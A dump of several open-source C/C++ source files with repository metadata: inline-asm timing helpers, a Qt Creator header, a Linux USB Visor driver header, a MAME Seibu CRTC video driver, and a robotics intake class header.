disable_interrupt(){ __asm__ __volatile__ ("cli":::"memory", "cc"); } [[gnu::always_inline]] static inline void enable_interrupt(){ __asm__ __volatile__ ("sti":::"memory", "cc"); } [[gnu::always_inline]] static inline void lfence(){ asm volatile("lfence\n\t" : : : "memory"); } [[gnu::always_inline]] static inline void mfence(){ asm volatile("mfence\n\t" : : : "memory"); } [[gnu::always_inline]] static inline uint64_t rdtsc(void) { uint32_t high, low; __asm__ __volatile__ ("rdtsc" : "=a"(low), "=d"(high)); return ((uint64_t)high << 32) | low; } void recursion(size_t incr); } #endif
23.196319
102
0.59561
64066d9aa5fd00977fc129733919974e34dcf805
2,743
h
C
qt-creator-opensource-src-4.6.1/src/libs/clangsupport/sourcelocationcontainer.h
kevinlq/Qt-Creator-Opensource-Study
b8cadff1f33f25a5d4ef33ed93f661b788b1ba0f
[ "MIT" ]
5
2018-12-22T14:49:13.000Z
2022-01-13T07:21:46.000Z
qt-creator-opensource-src-4.6.1/src/libs/clangsupport/sourcelocationcontainer.h
kevinlq/Qt-Creator-Opensource-Study
b8cadff1f33f25a5d4ef33ed93f661b788b1ba0f
[ "MIT" ]
null
null
null
qt-creator-opensource-src-4.6.1/src/libs/clangsupport/sourcelocationcontainer.h
kevinlq/Qt-Creator-Opensource-Study
b8cadff1f33f25a5d4ef33ed93f661b788b1ba0f
[ "MIT" ]
8
2018-07-17T03:55:48.000Z
2021-12-22T06:37:53.000Z
/**************************************************************************** ** ** Copyright (C) 2016 The Qt Company Ltd. ** Contact: https://www.qt.io/licensing/ ** ** This file is part of Qt Creator. ** ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and The Qt Company. For licensing terms ** and conditions see https://www.qt.io/terms-conditions. For further ** information use the contact form at https://www.qt.io/contact-us. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU ** General Public License version 3 as published by the Free Software ** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT ** included in the packaging of this file. Please review the following ** information to ensure the GNU General Public License requirements will ** be met: https://www.gnu.org/licenses/gpl-3.0.html. ** ****************************************************************************/ #pragma once #include "clangsupport_global.h" #include <sqlite/utf8string.h> namespace ClangBackEnd { class CLANGSUPPORT_EXPORT SourceLocationContainer { friend CLANGSUPPORT_EXPORT QDataStream &operator<<(QDataStream &out, const SourceLocationContainer &container); friend CLANGSUPPORT_EXPORT QDataStream &operator>>(QDataStream &in, SourceLocationContainer &container); friend CLANGSUPPORT_EXPORT bool operator==(const SourceLocationContainer &first, const SourceLocationContainer &second); friend CLANGSUPPORT_EXPORT bool operator!=(const SourceLocationContainer &first, const SourceLocationContainer &second); public: SourceLocationContainer() = default; SourceLocationContainer(const Utf8String &filePath, uint line, uint column); const Utf8String &filePath() const; uint line() const; uint column() const; private: Utf8String m_filePath; uint m_line = 0; uint m_column = 0; }; CLANGSUPPORT_EXPORT QDataStream &operator<<(QDataStream &out, const SourceLocationContainer &container); CLANGSUPPORT_EXPORT QDataStream &operator>>(QDataStream &in, SourceLocationContainer &container); CLANGSUPPORT_EXPORT bool operator==(const SourceLocationContainer &first, const SourceLocationContainer &second); CLANGSUPPORT_EXPORT bool operator!=(const SourceLocationContainer &first, const SourceLocationContainer &second); CLANGSUPPORT_EXPORT QDebug operator<<(QDebug debug, const SourceLocationContainer &container); } // namespace ClangBackEnd
42.859375
124
0.724389
6406e2d2c3ad161fbf599f1f57e35fad00726174
389
h
C
EherEmployee/EherEmployee/Modal/ReqeusetCon/ExDataParser.h
jackquan/EherEmployee
c62889eb0d335e1391f3446fdbc35b9f4f85a7d2
[ "MIT" ]
null
null
null
EherEmployee/EherEmployee/Modal/ReqeusetCon/ExDataParser.h
jackquan/EherEmployee
c62889eb0d335e1391f3446fdbc35b9f4f85a7d2
[ "MIT" ]
null
null
null
EherEmployee/EherEmployee/Modal/ReqeusetCon/ExDataParser.h
jackquan/EherEmployee
c62889eb0d335e1391f3446fdbc35b9f4f85a7d2
[ "MIT" ]
null
null
null
// // ExDataParser.h // XZD // // Created by sysweal on 14/12/2. // Copyright (c) 2014年 sysweal. All rights reserved. // #import <Foundation/Foundation.h> #import "DataParser.h" #import "Base_Modal.h" #import "Version_Modal.h" @interface DataParser (ExDataParser) //解析数据 +(NSArray *) parserData:(NSString *)opKey data:(NSData *)data; @end @interface ExDataParser : NSObject @end
16.208333
62
0.701799
640758fca51be5bc774213a96a3084d801e2f893
189
h
C
kernel/symbols.h
chocabloc/aeol-os
9e9db7264d0d0619b7b83a60a412dbf87932d20a
[ "MIT" ]
21
2020-12-02T17:34:45.000Z
2022-03-07T09:10:46.000Z
kernel/symbols.h
chocabloc/aeolos
9e9db7264d0d0619b7b83a60a412dbf87932d20a
[ "MIT" ]
null
null
null
kernel/symbols.h
chocabloc/aeolos
9e9db7264d0d0619b7b83a60a412dbf87932d20a
[ "MIT" ]
null
null
null
#pragma once #include <stdint.h> typedef struct { uint64_t addr; char* name; } symbol_t; // contents automatically generated during build extern const symbol_t _kernel_symtab[];
15.75
48
0.73545
6407a7811d43da97e487553caacc085fd8799115
2,850
h
C
kernels/linux-2.4.0/drivers/usb/serial/visor.h
liuhaozzu/linux
bdf9758cd23e34b5f53e8e6339d9b29348615e14
[ "Apache-2.0" ]
4
2020-01-01T20:26:42.000Z
2021-10-17T21:51:58.000Z
kernels/linux-2.4.0/drivers/usb/serial/visor.h
liuhaozzu/linux
bdf9758cd23e34b5f53e8e6339d9b29348615e14
[ "Apache-2.0" ]
4
2020-07-23T11:20:30.000Z
2020-07-24T20:09:09.000Z
linux/drivers/usb/serial/visor.h
CodeAsm/PS1Linux
8c3c4d9ffccf446dd061a38186efc924da8a66be
[ "CC0-1.0" ]
null
null
null
/* * USB HandSpring Visor driver * * Copyright (C) 1999, 2000 * Greg Kroah-Hartman (greg@kroah.com) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * See Documentation/usb/usb-serial.txt for more information on using this driver * */ #ifndef __LINUX_USB_SERIAL_VISOR_H #define __LINUX_USB_SERIAL_VISOR_H #define HANDSPRING_VENDOR_ID 0x082d #define HANDSPRING_VISOR_ID 0x0100 /**************************************************************************** * Handspring Visor Vendor specific request codes (bRequest values) * A big thank you to Handspring for providing the following information. * If anyone wants the original file where these values and structures came * from, send email to <greg@kroah.com>. ****************************************************************************/ /**************************************************************************** * VISOR_REQUEST_BYTES_AVAILABLE asks the visor for the number of bytes that * are available to be transfered to the host for the specified endpoint. * Currently this is not used, and always returns 0x0001 ****************************************************************************/ #define VISOR_REQUEST_BYTES_AVAILABLE 0x01 /**************************************************************************** * VISOR_CLOSE_NOTIFICATION is set to the device to notify it that the host * is now closing the pipe. An empty packet is sent in response. ****************************************************************************/ #define VISOR_CLOSE_NOTIFICATION 0x02 /**************************************************************************** * VISOR_GET_CONNECTION_INFORMATION is sent by the host during enumeration to * get the endpoints used by the connection. ****************************************************************************/ #define VISOR_GET_CONNECTION_INFORMATION 0x03 /**************************************************************************** * VISOR_GET_CONNECTION_INFORMATION returns data in the following format ****************************************************************************/ struct visor_connection_info { __u16 num_ports; struct { __u8 port_function_id; __u8 port; } connections[2]; }; /* struct visor_connection_info.connection[x].port defines: */ #define VISOR_ENDPOINT_1 0x01 #define VISOR_ENDPOINT_2 0x02 /* struct visor_connection_info.connection[x].port_function_id defines: */ #define VISOR_FUNCTION_GENERIC 0x00 #define VISOR_FUNCTION_DEBUGGER 0x01 #define VISOR_FUNCTION_HOTSYNC 0x02 #define VISOR_FUNCTION_CONSOLE 0x03 #define VISOR_FUNCTION_REMOTE_FILE_SYS 0x04 #endif
38
81
0.572982
6409f4db628b9606ff7637f2192e9a093b2d6ce0
10,116
c
C
Reloaded/trunk/src/mame/video/sei_crtc.c
lofunz/mieme
4226c2960b46121ec44fa8eab9717d2d644bff04
[ "Unlicense" ]
51
2015-11-22T14:53:28.000Z
2021-12-14T07:17:42.000Z
Reloaded/trunk/src/mame/video/sei_crtc.c
lofunz/mieme
4226c2960b46121ec44fa8eab9717d2d644bff04
[ "Unlicense" ]
8
2018-01-14T07:19:06.000Z
2021-08-22T15:29:59.000Z
Reloaded/trunk/src/mame/video/sei_crtc.c
lofunz/mieme
4226c2960b46121ec44fa8eab9717d2d644bff04
[ "Unlicense" ]
35
2017-02-15T09:39:00.000Z
2021-12-14T07:17:43.000Z
/****************************************************************************************** Seibu Custom "CRT Controller" emulation by Angelo Salese,based off the old D-Con video HW part by Bryan McPhail The (likely) custom Seibu CRTC is used at least in the following games: Raiden (probably the first game to use it) *Sengoku Mahjong *Good e Jong *Tottemo de Jong Blood Bros. Sky Smasher D-Con SD Gundam Psycho Salamander no Kyoui (all games in legionna.c) (all games in raiden2.c) The name "Seibu CRTC" is actually an agglomerate of all the Seibu Customs that are on the single boards, most if not all of them are shared video chips in the aforementioned games. TODO: - Dynamic Resolution Change (xx10 register?) - Dynamic Paging register probably incorrect,needs further investigation; - Merge the aforementioned games and clean-up the code in these drivers; - Merge the gfxdecode too? - Fully understand remaining video registers; - Are the xx80/xxc0 in some games (D-Con/Sengoku Mahjong) another bunch of registers? - Investigate about the real name(s) of this Seibu "CRT Controller",and if it is really custom. =========================================================================================== List of default vregs (title screen): *Sengoku Mahjong: 8000: 000F 0013 009F 00BF 00FA 000F 00FA 00FF 8010: 007D 0006 0000 0002 0000 0000 0000 0000 8020: 0000 0000 0004 0000 0000 0000 0040 01FF 8030: 003E 01FF 003F 01FF 0040 0001 0034 0035 8040: 0000 A8A8 0003 1C37 0001 0000 0000 0000 *Tottemo de Jong 8000: 000F 000F 009F 00BF 00FA 000F 00FA 00FF 8010: 0076 0006 0000 0002 0000 0002 0006 0000 8020: 0000 0000 0000 0000 0000 0000 01C0 01FF 8030: 003E 01FF 003F 01FF 00C0 01FF 0034 003F 8040: 0000 A8A8 0003 1830 0001 0000 0000 0000 *Good e Jong 8040: 000F 000F 009F 00BF 00FA 000F 00FA 00FF 8050: 0076 0006 0000 0002 0000 0002 0006 0000 8060: 0000 00FA 0000 0000 0000 0000 01C0 01FF 8070: 003E 01FF 003F 01FF 00C0 01FF 0034 003F 8080: 0000 0000 0000 0000 0000 0000 0000 0000 *******************************************************************************************/ #include "emu.h" #include "includes/sei_crtc.h" static tilemap_t *sc0_tilemap,*sc2_tilemap,*sc1_tilemap,*sc3_tilemap_0,*sc3_tilemap_1; UINT16 *seibucrtc_sc0vram,*seibucrtc_sc1vram,*seibucrtc_sc2vram,*seibucrtc_sc3vram; UINT16 *seibucrtc_vregs; UINT16 seibucrtc_sc0bank; /******************************* * * Macros for the video registers * *******************************/ /******************************* * 0x1a - Layer Dynamic Paging? *******************************/ #define SEIBU_CRTC_DYN_PAGING (seibucrtc_vregs[0x001a/2]) #define SEIBU_CRTC_SC3_PAGE_SEL (SEIBU_CRTC_DYN_PAGING & 0x0002) /******************************* * 0x1c - Layer Enable *******************************/ #define SEIBU_CRTC_LAYER_EN (seibucrtc_vregs[0x001c/2]) #define SEIBU_CRTC_ENABLE_SC0 (!(SEIBU_CRTC_LAYER_EN & 0x0001)) #define SEIBU_CRTC_ENABLE_SC2 (!(SEIBU_CRTC_LAYER_EN & 0x0002)) #define SEIBU_CRTC_ENABLE_SC1 (!(SEIBU_CRTC_LAYER_EN & 0x0004)) #define SEIBU_CRTC_ENABLE_SC3 (!(SEIBU_CRTC_LAYER_EN & 0x0008)) #define SEIBU_CRTC_ENABLE_SPR (!(SEIBU_CRTC_LAYER_EN & 0x0010)) /************************************ * 0x20 - Screen 0 (BG) scroll x ************************************/ #define SEIBU_CRTC_SC0_SX (seibucrtc_vregs[0x0020/2]) /************************************ * 0x22 - Screen 0 (BG) scroll y ************************************/ #define SEIBU_CRTC_SC0_SY (seibucrtc_vregs[0x0022/2]) /************************************ * 0x24 - Screen 1 (FG) scroll x ************************************/ #define SEIBU_CRTC_SC1_SX (seibucrtc_vregs[0x0024/2]) /************************************ * 0x26 - Screen 1 (FG) scroll y ************************************/ #define SEIBU_CRTC_SC1_SY (seibucrtc_vregs[0x0026/2]) /************************************ * 0x28 - Screen 2 (MD) scroll x ************************************/ #define SEIBU_CRTC_SC2_SX (seibucrtc_vregs[0x0028/2]) /************************************ * 0x2a - Screen 2 (MD) scroll y ************************************/ #define SEIBU_CRTC_SC2_SY (seibucrtc_vregs[0x002a/2]) /************************************ * 0x2c - Fix screen scroll x (global) ************************************/ #define SEIBU_CRTC_FIX_SX (seibucrtc_vregs[0x002c/2]) /************************************ * 0x2e - Fix screen scroll y (global) ************************************/ #define SEIBU_CRTC_FIX_SY (seibucrtc_vregs[0x002e/2]) /******************************* * * Write RAM accesses * *******************************/ WRITE16_HANDLER( seibucrtc_sc0vram_w ) { COMBINE_DATA(&seibucrtc_sc0vram[offset]); tilemap_mark_tile_dirty(sc0_tilemap,offset); } WRITE16_HANDLER( seibucrtc_sc2vram_w ) { COMBINE_DATA(&seibucrtc_sc2vram[offset]); tilemap_mark_tile_dirty(sc2_tilemap,offset); } WRITE16_HANDLER( seibucrtc_sc1vram_w ) { COMBINE_DATA(&seibucrtc_sc1vram[offset]); tilemap_mark_tile_dirty(sc1_tilemap,offset); } WRITE16_HANDLER( seibucrtc_sc3vram_w ) { COMBINE_DATA(&seibucrtc_sc3vram[offset]); tilemap_mark_tile_dirty(sc3_tilemap_0,offset); tilemap_mark_tile_dirty(sc3_tilemap_1,offset); } WRITE16_HANDLER( seibucrtc_vregs_w ) { COMBINE_DATA(&seibucrtc_vregs[offset]); } /* Actually external from the CRTC */ void seibucrtc_sc0bank_w(UINT16 data) { seibucrtc_sc0bank = data & 1; tilemap_mark_all_tiles_dirty(sc0_tilemap); } /******************************* * * Tilemap info accesses * *******************************/ static TILE_GET_INFO( seibucrtc_sc0_tile_info ) { int tile = seibucrtc_sc0vram[tile_index] & 0xfff; int color = (seibucrtc_sc0vram[tile_index] >> 12) & 0x0f; tile+=(seibucrtc_sc0bank<<12); SET_TILE_INFO(1, tile, color, 0); } static TILE_GET_INFO( seibucrtc_sc2_tile_info ) { int tile = seibucrtc_sc2vram[tile_index] & 0xfff; int color = (seibucrtc_sc2vram[tile_index] >> 12) & 0x0f; SET_TILE_INFO(2, tile, color, 0); } static TILE_GET_INFO( seibucrtc_sc1_tile_info ) { int tile = seibucrtc_sc1vram[tile_index] & 0xfff; int color = (seibucrtc_sc1vram[tile_index] >> 12) & 0x0f; SET_TILE_INFO(3, tile, color, 0); } static TILE_GET_INFO( seibucrtc_sc3_tile_info ) { int tile = seibucrtc_sc3vram[tile_index] & 0xfff; int color = (seibucrtc_sc3vram[tile_index] >> 12) & 0x0f; SET_TILE_INFO(4, tile, color, 0); } static void draw_sprites(running_machine *machine, bitmap_t *bitmap,const rectangle *cliprect,int pri) { UINT16 *spriteram16 = machine->generic.spriteram.u16; int offs,fx,fy,x,y,color,sprite; int dx,dy,ax,ay; for (offs = 0x400-4;offs >= 0;offs -= 4) { if ((spriteram16[offs+0]&0x8000)!=0x8000) continue; sprite = spriteram16[offs+1]; if ((sprite>>14)!=pri) continue; sprite &= 0x1fff; y = spriteram16[offs+3]; x = spriteram16[offs+2]; if (x&0x8000) x=0-(0x200-(x&0x1ff)); else x&=0x1ff; if (y&0x8000) y=0-(0x200-(y&0x1ff)); else y&=0x1ff; color = spriteram16[offs+0]&0x3f; fx = spriteram16[offs+0]&0x4000; fy = spriteram16[offs+0]&0x2000; dy=((spriteram16[offs+0]&0x0380)>>7)+1; dx=((spriteram16[offs+0]&0x1c00)>>10)+1; for (ax=0; ax<dx; ax++) for (ay=0; ay<dy; ay++) { if (!fx) drawgfx_transpen(bitmap,cliprect,machine->gfx[0], sprite++, color,fx,fy,x+ax*16,y+ay*16,15); else drawgfx_transpen(bitmap,cliprect,machine->gfx[0], sprite++, color,fx,fy,x+(dx-1-ax)*16,y+ay*16,15); } } } /*********************************** * * VIDEO_START/VIDEO_UPDATE functions * ***********************************/ VIDEO_START( seibu_crtc ) { sc0_tilemap = tilemap_create(machine, seibucrtc_sc0_tile_info,tilemap_scan_rows,16,16,32,32); sc2_tilemap = tilemap_create(machine, seibucrtc_sc2_tile_info,tilemap_scan_rows,16,16,32,32); sc1_tilemap = tilemap_create(machine, seibucrtc_sc1_tile_info,tilemap_scan_rows,16,16,32,32); sc3_tilemap_0 = tilemap_create(machine, seibucrtc_sc3_tile_info,tilemap_scan_rows, 8, 8,32,32); sc3_tilemap_1 = tilemap_create(machine, seibucrtc_sc3_tile_info,tilemap_scan_rows, 8, 8,64,32); tilemap_set_transparent_pen(sc2_tilemap,15); tilemap_set_transparent_pen(sc1_tilemap,15); tilemap_set_transparent_pen(sc3_tilemap_0,15); tilemap_set_transparent_pen(sc3_tilemap_1,15); seibucrtc_sc0bank = 0; } VIDEO_UPDATE( seibu_crtc ) { bitmap_fill(bitmap, cliprect, screen->machine->pens[0x7ff]); //black pen tilemap_set_scrollx( sc0_tilemap,0, (SEIBU_CRTC_SC0_SX + SEIBU_CRTC_FIX_SX+64) & 0x1ff ); tilemap_set_scrolly( sc0_tilemap,0, (SEIBU_CRTC_SC0_SY + SEIBU_CRTC_FIX_SY+1) & 0x1ff ); tilemap_set_scrollx( sc2_tilemap,0, (SEIBU_CRTC_SC2_SX + SEIBU_CRTC_FIX_SX+64) & 0x1ff ); tilemap_set_scrolly( sc2_tilemap,0, (SEIBU_CRTC_SC2_SY + SEIBU_CRTC_FIX_SY+1) & 0x1ff ); tilemap_set_scrollx( sc1_tilemap,0, (SEIBU_CRTC_SC1_SX + SEIBU_CRTC_FIX_SX+64) & 0x1ff ); tilemap_set_scrolly( sc1_tilemap,0, (SEIBU_CRTC_SC1_SY + SEIBU_CRTC_FIX_SY+1) & 0x1ff ); tilemap_set_scrollx( SEIBU_CRTC_SC3_PAGE_SEL ? sc3_tilemap_0 : sc3_tilemap_1,0, (SEIBU_CRTC_FIX_SX+64) & 0x1ff ); tilemap_set_scrolly( SEIBU_CRTC_SC3_PAGE_SEL ? sc3_tilemap_0 : sc3_tilemap_1,0, (SEIBU_CRTC_FIX_SY+1) & 0x1ff ); if(SEIBU_CRTC_ENABLE_SC0) { tilemap_draw(bitmap,cliprect,sc0_tilemap,0,0); } if(SEIBU_CRTC_ENABLE_SPR) { draw_sprites(screen->machine, bitmap,cliprect, 2); } if(SEIBU_CRTC_ENABLE_SC2) { tilemap_draw(bitmap,cliprect,sc2_tilemap,0,0); } if(SEIBU_CRTC_ENABLE_SPR) { draw_sprites(screen->machine, bitmap,cliprect, 1); } if(SEIBU_CRTC_ENABLE_SC1) { tilemap_draw(bitmap,cliprect,sc1_tilemap,0,0); } if(SEIBU_CRTC_ENABLE_SPR) { draw_sprites(screen->machine, bitmap,cliprect, 0); } if(SEIBU_CRTC_ENABLE_SC3) { tilemap_draw(bitmap,cliprect,SEIBU_CRTC_SC3_PAGE_SEL ? sc3_tilemap_0 : sc3_tilemap_1,0,0); } if(SEIBU_CRTC_ENABLE_SPR) { draw_sprites(screen->machine, bitmap,cliprect, 3); } return 0; }
34.175676
122
0.642546
640aad1ae796d2483438ab07d66a2058f482be1d
629
h
C
include/grape/log.h
sunnythree/JaverNN
8c5dc803ac3e49b569a89118fcaf5d4ca6ec673b
[ "BSD-2-Clause" ]
19
2019-11-09T08:51:21.000Z
2022-03-25T07:55:45.000Z
include/grape/log.h
sunnythree/JaverNN
8c5dc803ac3e49b569a89118fcaf5d4ca6ec673b
[ "BSD-2-Clause" ]
null
null
null
include/grape/log.h
sunnythree/JaverNN
8c5dc803ac3e49b569a89118fcaf5d4ca6ec673b
[ "BSD-2-Clause" ]
7
2019-11-19T14:20:43.000Z
2022-03-25T18:36:34.000Z
#ifndef __GRAPE_LOG_H__ #define __GRAPE_LOG_H__ #include <cstdint> #include <string> namespace Grape{ enum LOG_LEVEL{ VERBOSE, DEBUG, INFO, ERROR }; class Log{ public: static void log_print(std::string tag,std::string log); static void v(std::string tag,std::string log); static void d(std::string tag,std::string log); static void i(std::string tag,std::string log); static void e(std::string tag,std::string log); static void set_log_level(LOG_LEVEL level); private: static LOG_LEVEL log_level_; }; } #endif
22.464286
63
0.616852
640b317724dbafcaf5c8d0ed6c1df4ffd0be5067
817
c
C
create_array.c
gd-zth/ezJSON
e5127280d4b26eed921532647c00cd2be7f2a274
[ "MIT" ]
5
2020-12-09T04:13:12.000Z
2021-06-04T03:40:38.000Z
create_array.c
gd-zth/ezJSON
e5127280d4b26eed921532647c00cd2be7f2a274
[ "MIT" ]
1
2021-02-05T13:27:01.000Z
2021-08-02T08:21:27.000Z
create_array.c
gd-zth/ezJSON
e5127280d4b26eed921532647c00cd2be7f2a274
[ "MIT" ]
null
null
null
#include <stdio.h> #include "ezJSON/ezJSON.h" int main(int argc, char *argv[]) { char jsonStr[1024]; char* string[3] = {"one", "two", "three"}; float number[3] = {1, 2, 3}; ezJSON(jsonStr) { // 使用索引 ARR("array1", 3) { STR(NULL, string[_IDX]); }} // 不使用索引 ARR("array2", -1) { NUM(NULL, number[0]); NUM(NULL, number[1]); NUM(NULL, number[2]); }} ARR("array3", 3) {OBJ(NULL) { STR("string", string[_IDX]); NUM("number", number[_IDX]); }}}} ARR("array4", -1) { ARR(NULL, 3) { STR(NULL, string[_IDX]); }} ARR(NULL, 3) { NUM(NULL, number[_IDX]); }} }} }} printf("%s\n", jsonStr); return 0; }
19.452381
54
0.422277
640ead53fceff2ee725c8a4effe890c787cb2c26
1,918
h
C
sourceCode/dsPirates/EffectsLibrary.h
stefanos-86/Deep-Space-Pirates
1de2f6d217c87a7feceaa5bb2728387912151da5
[ "MIT" ]
null
null
null
sourceCode/dsPirates/EffectsLibrary.h
stefanos-86/Deep-Space-Pirates
1de2f6d217c87a7feceaa5bb2728387912151da5
[ "MIT" ]
null
null
null
sourceCode/dsPirates/EffectsLibrary.h
stefanos-86/Deep-Space-Pirates
1de2f6d217c87a7feceaa5bb2728387912151da5
[ "MIT" ]
null
null
null
#pragma once #include <string> #include <map> #include "IDGenerator.h" #include "dsMath.h" #include "TimedElement.h" namespace Ogre{ class SceneManager; } /**This class is the one that deals with visual effects that are to be fired "on event". By now this means particle effects. No idea if there will be other kinds, no idea if this is the right way of implementing the thing. */ class EffectsLibrary : TimedElement { public: /**Sets the known effects (hardcoded here) in the object.*/ EffectsLibrary(Ogre::SceneManager* sceneManager); /**Plays the desired effect. Throws std::runtime_error if the efect is unknown. We do not provide constants or enums with the valid effect so that the clients can just invoke the method in the OgreFacade and stay "unaware" of the EffectsLibrary. Intentionally giving away the compile time check (enum) to keep some simplicity. Implementation limits: -1 emitter per system -deterministic time to live and duration (no "duration_min" etc. etc.). -no unlimited duration effect (don't want to deal with special cleanup cases). "Exausted" effects are automatically removed when finished (on timeout). */ void startEffect(const std::string& name, const Vector3d& position); /**Removes the "spent" effects when it is time do do so.*/ virtual void timedCallback(numeric_id_t id, float actualDuration); /**Allows the ogre facade to pass a reference to the */ private: ///Links the name of the offect to the Ogre particle template that implements it. std::map<std::string, std::string> name2template; ///Generate the particle system names. IDGenerator particleNameMaker; ///The particle systems are destroyed when expired. This links the destruction timers and the effects to destroy. std::map<numeric_id_t, std::string> timerId2EffectName; ///The scene manager, to attach the effects. NOT owned by this object. Ogre::SceneManager* sceneManager; };
34.25
133
0.760167
640ec0bc3e81c0285c636b5b5e016fd50b023010
1,657
h
C
mediainfo/MediaInfoLib/Source/MediaInfo/Tag/File_Lyrics3v2.h
pavel-pimenov/sandbox
d29b6cb42f93953d36dfc648cdd168e90c9daf83
[ "MIT" ]
null
null
null
mediainfo/MediaInfoLib/Source/MediaInfo/Tag/File_Lyrics3v2.h
pavel-pimenov/sandbox
d29b6cb42f93953d36dfc648cdd168e90c9daf83
[ "MIT" ]
1
2019-11-14T04:18:32.000Z
2019-11-14T04:18:32.000Z
mediainfo/MediaInfoLib/Source/MediaInfo/Tag/File_Lyrics3v2.h
pavel-pimenov/sandbox
d29b6cb42f93953d36dfc648cdd168e90c9daf83
[ "MIT" ]
null
null
null
/* Copyright (c) MediaArea.net SARL. All Rights Reserved. * * Use of this source code is governed by a BSD-style license that can * be found in the License.html file in the root of the source tree. */ //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // // Information about Lyrics3v2 tagged files // //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //--------------------------------------------------------------------------- #ifndef MediaInfo_File_Lyrics3v2H #define MediaInfo_File_Lyrics3v2H //--------------------------------------------------------------------------- //--------------------------------------------------------------------------- #include "MediaInfo/File__Analyze.h" //--------------------------------------------------------------------------- namespace MediaInfoLib { //*************************************************************************** // Class File_Lyrics3v2 //*************************************************************************** class File_Lyrics3v2 : public File__Analyze { public : //In int64u TotalSize; //Constructor/Destructor File_Lyrics3v2(); private : //Buffer - File header void FileHeader_Parse(); //Buffer - Per element void Header_Parse (); void Data_Parse (); //Elements void Header(); void Footer(); void AUT() {Skip_Local(Element_Size, "Value");} void CRC() {Skip_Local(Element_Size, "Value");} void EAL(); void EAR(); void ETT(); void IMG() {Skip_Local(Element_Size, "Value");} void IND(); void INF(); void LYR(); }; } //NameSpace #endif
26.301587
77
0.414605
6410407fb199da7f5d427cf27f0343438186358c
1,140
h
C
Example/JoyKit/TableCollection/JoyPortalCollectionCell.h
joy-make/JoyK
546468be60c970baf6424b7f77773686ded9fb1b
[ "MIT" ]
null
null
null
Example/JoyKit/TableCollection/JoyPortalCollectionCell.h
joy-make/JoyK
546468be60c970baf6424b7f77773686ded9fb1b
[ "MIT" ]
null
null
null
Example/JoyKit/TableCollection/JoyPortalCollectionCell.h
joy-make/JoyK
546468be60c970baf6424b7f77773686ded9fb1b
[ "MIT" ]
null
null
null
// // JoyPortalCollectionCell.h // Home // // Created by joy on 2021/8/10. // #import "JoyImageCollectionViewCell.h" NS_ASSUME_NONNULL_BEGIN @interface JoyPortalCollectionCell : JoyCollectionBaseCell @end //一行单列背景滚动图210:345 @interface JoySigleCollectionCell : JoyCollectionBaseCell @end //一行单列高度较小背景滚动图140:385 @interface JoySigleMiniCollectionCell : JoySigleCollectionCell @end //一行四列上图下标题-图片1:1 @interface JoyQuadraCollectionCell : JoyCollectionBaseCell @end //一行五列上图下标题-图片1:1 @interface JoyPentalCollectionCell : JoyQuadraCollectionCell @end //一行三列背景图加标题-图片80:105 @interface JoyTripleCollectionCell : JoyQuadraCollectionCell @end //一行两列上图下标题-图片108:156 @interface JoyDoubleCollectionCell : JoyCollectionBaseCell @end //一行两列左上下标题右icon-图片1:1 @interface JoyDoubleTitleRightIconlCollectionCell : JoyCollectionBaseCell @end //一行两列左icon右上下标题-图片1:1 @interface JoyLeftIconRightDoubleTitleCollectionCell : JoyCollectionBaseCell @end //上图片中标题下副标题 @interface JoyTopIconTitleSubTitleCollectionCell : JoyCollectionBaseCell @end //通知消息 @interface JoyNoticesCollectionCell : JoyCollectionBaseCell @end NS_ASSUME_NONNULL_END
16.521739
76
0.825439
64127d09b9009f00e399c9d70a7582fd441144ae
2,318
h
C
4788/src/main/include/Intake.h
CurtinFRC/2022-RapidReact
b381b4306d5255acd83ea0d112ac30d682437d1f
[ "MIT" ]
4
2022-01-05T13:38:16.000Z
2022-02-13T17:08:06.000Z
4788/src/main/include/Intake.h
CurtinFRC/2022-RapidReact
b381b4306d5255acd83ea0d112ac30d682437d1f
[ "MIT" ]
13
2022-01-13T03:21:43.000Z
2022-02-22T12:27:52.000Z
4788/src/main/include/Intake.h
CurtinFRC/2022-RapidReact
b381b4306d5255acd83ea0d112ac30d682437d1f
[ "MIT" ]
13
2021-11-05T13:58:06.000Z
2022-02-15T05:35:24.000Z
#pragma once #include "RobotMap.h" #include "controllers/Controllers.h" #include "Util.h" //Brings the nightmarish controller class into the scope using Controllers = wml::controllers::SmartControllerGroup; enum class MagStates{ kEmpty, //robot has no balls kTransfer, //ball going from back to front of robot kTransfering, kOne, //ball at front kTwo, //ball at front and back kEject, //send ball to the shooter kManual, //sometime code bad kOverride }; inline std::string mag_state_to_string(MagStates &state) { switch (state) { case MagStates::kEmpty: return "Empty"; case MagStates::kManual: return "Manual"; case MagStates::kOverride: return "Override"; case MagStates::kOne: return "One"; case MagStates::kTwo: return "Two"; case MagStates::kEject: return "Eject"; case MagStates::kTransfer: return "Transfer"; case MagStates::kTransfering: return "Transferring"; } } //Different states for the arm (stowed or deployed) enum class IntakeStates{ kStowed, kDeployed }; //A class to group the gamestage variables and structs from Robotmap.h class Intake : public wml::StrategySystem, public wml::loops::LoopSystem { public: Intake(RobotMap::IntakeSystem &intakeSystem, Controllers &contGroup); void updateIntake(double dt); void Update(double dt); void setIndex(double voltage); void setIntakeState(IntakeStates intakeState); void setIntake(double intakeVoltage); void setMagState(MagStates magState); bool _frontSensor(); bool _backSensor(); void fireBall(); void ejectBall(bool readyFire); //runs checks then sets to eject state void manualSetIntake(double power); void manualSetIndex(double power); void GetOut(); IntakeStates _intakeState{ IntakeStates::kStowed }; MagStates _magState{ MagStates::kEmpty }; private: RobotMap::IntakeSystem &_intakeSystem; Controllers &_contGroup; Debounce ejectDebounce{0.1}; Debounce transferDebounce{2}; //variable for power double _power; double _indexVoltage = 0; double _intakeVoltage = 0; double _indexSetVoltage = 0; double _intakeSetVoltage = 0; double _intakeSetVoltageSet = 0; double _testingManualIndex = 0; double _testingManualIntake = 0; double intakeSetPower = 0; };
23.18
74
0.718723
6414c74739154e908cbc874d51ca7532608a4580
3,978
h
C
tree_filter_app/main_window.h
SammyEnigma/TreeReader
d4b426b6341b99535b10067ba19f8dcc3ed90e0a
[ "MIT" ]
5
2020-03-28T15:37:59.000Z
